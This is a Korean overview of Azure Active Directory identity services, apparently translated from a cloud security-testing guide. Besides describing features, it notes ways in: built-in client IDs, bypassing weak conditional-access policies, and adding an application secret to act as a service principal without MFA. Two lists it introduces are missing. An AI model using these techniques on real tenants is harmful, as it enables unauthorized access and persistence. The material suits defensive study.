Azure Active Directory (Azure AD)는 Microsoft의 클라우드 기반 아이덴티티 및 액세스 관리 서비스입니다. 이는 직원들이 조직 내외부의 리소스에 로그인하고 접근할 수 있도록 하는 데 중요한 역할을 하며, Microsoft 365, Azure 포털 및 다양한 다른 SaaS 애플리케이션을 포함합니다. Azure AD의 설계는 인증, 권한 부여 및 사용자 관리를 포함한 필수 아이덴티티 서비스를 제공하는 데 중점을 두고 있습니다.
Azure AD의 주요 기능에는 다단계 인증 및 조건부 액세스가 포함되며, 다른 Microsoft 보안 서비스와의 원활한 통합이 특징입니다. 이러한 기능은 사용자 아이덴티티의 보안을 크게 향상시키고 조직이 액세스 정책을 효과적으로 구현하고 시행할 수 있도록 합니다. Microsoft의 클라우드 서비스 생태계의 기본 구성 요소로서, Azure AD는 사용자 아이덴티티의 클라우드 기반 관리를 위해 필수적입니다.

Azure에 CLI를 통해 로그인할 때, Microsoft에 속하는 tenant의 Azure Application을 사용하고 있습니다. 이러한 애플리케이션은 귀하의 계정에서 생성할 수 있는 애플리케이션과 같이 클라이언트 ID를 가지고 있습니다. 콘솔에서 볼 수 있는 허용된 애플리케이션 목록에서 모든 애플리케이션을 볼 수는 없지만, 기본적으로 허용됩니다.
예를 들어, 1950a258-227b-4e31-a9cf-717495945fc2
클라이언트 ID를 가진 앱을 사용하여 인증하는 powershell 스크립트가 있습니다. 애플리케이션이 콘솔에 나타나지 않더라도, 시스템 관리자는 사용자가 해당 앱을 통해 연결할 수 없도록 해당 애플리케이션을 차단할 수 있습니다.
그러나 Azure에 연결할 수 있는 다른 클라이언트 ID의 애플리케이션이 있습니다:

모든 사용자에게 MFA를 추가하는 것이 강력히 권장되지만, 일부 회사는 이를 설정하지 않거나 특정 위치, 브라우저 또는 일부 조건에서 로그인할 경우에만 MFA를 요구하는 조건부 액세스를 설정할 수 있습니다. 이러한 정책이 올바르게 구성되지 않으면 우회에 취약할 수 있습니다. 확인하세요:

애플리케이션이 토큰을 요청할 때 자신의 신원을 증명하는 데 사용하는 비밀 문자열은 애플리케이션 비밀번호입니다. 따라서 이 비밀번호를 찾으면 테넌트 내부에서 서비스 주체로 접근할 수 있습니다. 이 비밀번호는 생성될 때만 볼 수 있습니다(변경할 수는 있지만 다시 얻을 수는 없습니다). 애플리케이션의 소유자는 이를 가짜로 사용할 수 있도록 비밀번호를 추가할 수 있습니다. 이러한 서비스 주체로의 로그인은 위험한 것으로 표시되지 않으며 MFA가 없습니다.

장치(VM)가 AzureAD에 가입되어 있으면, AzureAD의 사용자들이 로그인할 수 있습니다. 더욱이, 로그인한 사용자가 장치의 소유자라면, 그는 로컬 관리자가 됩니다.

Azure AD Identity Protection (AIP)는 Azure Active Directory에서 사용자 신원이 손상되는 것을 방지하기 위해 자동 감지 및 수정 기능을 사용하는 보안 서비스입니다. AIP는 사용자 로그인 및 신원 구성의 위험을 지속적으로 모니터링하고 평가하며, 다단계 인증 요구 또는 잠재적으로 위험한 활동 차단과 같은 적절한 보안 조치를 자동으로 적용합니다. 이는 조직이 신원 기반 보안 위반을 방지하는 데 도움을 줍니다.
흐름:
Azure AD Identity Protection은 사용자 활동을 모니터링하고 사용자 로그인, 인증 이벤트 및 기타 관련 활동에 대한 데이터를 수집합니다.
이 서비스는 기계 학습 알고리즘을 사용하여 이 데이터를 분석하고 잠재적인 보안 위협을 감지합니다.
Azure AD Identity Protection은 위협에 위험 수준을 할당하고 필요시 자동 작업을 수행하기 위해 경고를 생성합니다.
Azure AD Password Protection (APP)은 강력한 비밀번호 정책을 시행하여 Azure Active Directory에서 약한 비밀번호를 방지하는 데 도움을 주는 보안 기능입니다. APP는 일반적으로 사용되는 약한 비밀번호와 그 변형을 차단하여 비밀번호 관련 위반의 위험을 줄입니다. 이는 클라우드 수준과 온프레미스 Active Directory 모두에 적용할 수 있어 조직 전반의 비밀번호 보안을 강화합니다.
